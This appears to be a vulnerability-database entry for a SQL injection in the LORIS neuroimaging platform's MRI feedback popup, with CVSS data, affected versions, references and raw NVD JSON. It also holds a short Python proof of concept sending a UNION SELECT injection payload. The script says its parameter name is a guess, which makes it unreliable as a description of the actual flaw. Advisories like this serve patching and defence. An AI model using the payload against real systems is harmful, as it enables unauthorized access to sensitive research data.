CVE-2026-33350

Description

LORIS (Longitudinal Online Research and Imaging System) is a self-hosted web application that provides data- and project-management for neuroimaging research. Prior to 27.0.3 and 28.0.1, a SQL injection has been identified in some code sections for the MRI feedback popup window of the imaging browser. Attackers can use SQL ingestion to access/alter data on the server. This vulnerability is fixed in 27.0.3 and 28.0.1.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mcgill:loris:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:mcgill:loris:28.0.0:*:*:*:*:*:*:* - VULNERABLE

LORIS < 27.0.3

LORIS >= 28.0.0, < 28.0.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-33350 PoC for LORIS SQL Injection
# Target: MRI feedback popup window in Imaging Browser

target_url = "http://target-loris-instance/imaging_browser/"
# Vulnerable parameter example (actual param name depends on specific code)
payload = {
    "mri_feedback_id": "1' UNION SELECT NULL, version(), NULL-- -",
    "action": "submit"
}

try:
    response = requests.post(target_url, data=payload)
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print("[+] Check response for database version or errors indicating SQLi.")
        print(response.text[:500])
    else:
        print(f"[-] Server returned status code: {response.status_code}")
except Exception as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33350
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33350
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33350/
[4] VulDB https://vuldb.com/cve/CVE-2026-33350
[5] https://github.com/aces/Loris/security/advisories/GHSA-9r29-6jgc-3ggh

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33350", "sourceIdentifier": "[email protected]", "published": "2026-04-08T19:25:21.163", "lastModified": "2026-04-17T15:50:43.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LORIS (Longitudinal Online Research and Imaging System) is a self-hosted web application that provides data- and project-management for neuroimaging research. Prior to 27.0.3 and 28.0.1, a SQL injection has been identified in some code sections for the MRI feedback popup window of the imaging browser. Attackers can use SQL ingestion to access/alter data on the server. This vulnerability is fixed in 27.0.3 and 28.0.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mcgill:loris:*:*:*:*:*:*:*:*", "versionEndExcluding": "27.0.3", "matchCriteriaId": "F04A492D-D20B-4349-B01E-18EC44C8E400"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mcgill:loris:28.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "D358B66A-04AC-44F2-8EF6-4332D8AC00F4"}]}]}], "references": [{"url": "https://github.com/aces/Loris/security/advisories/GHSA-9r29-6jgc-3ggh", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}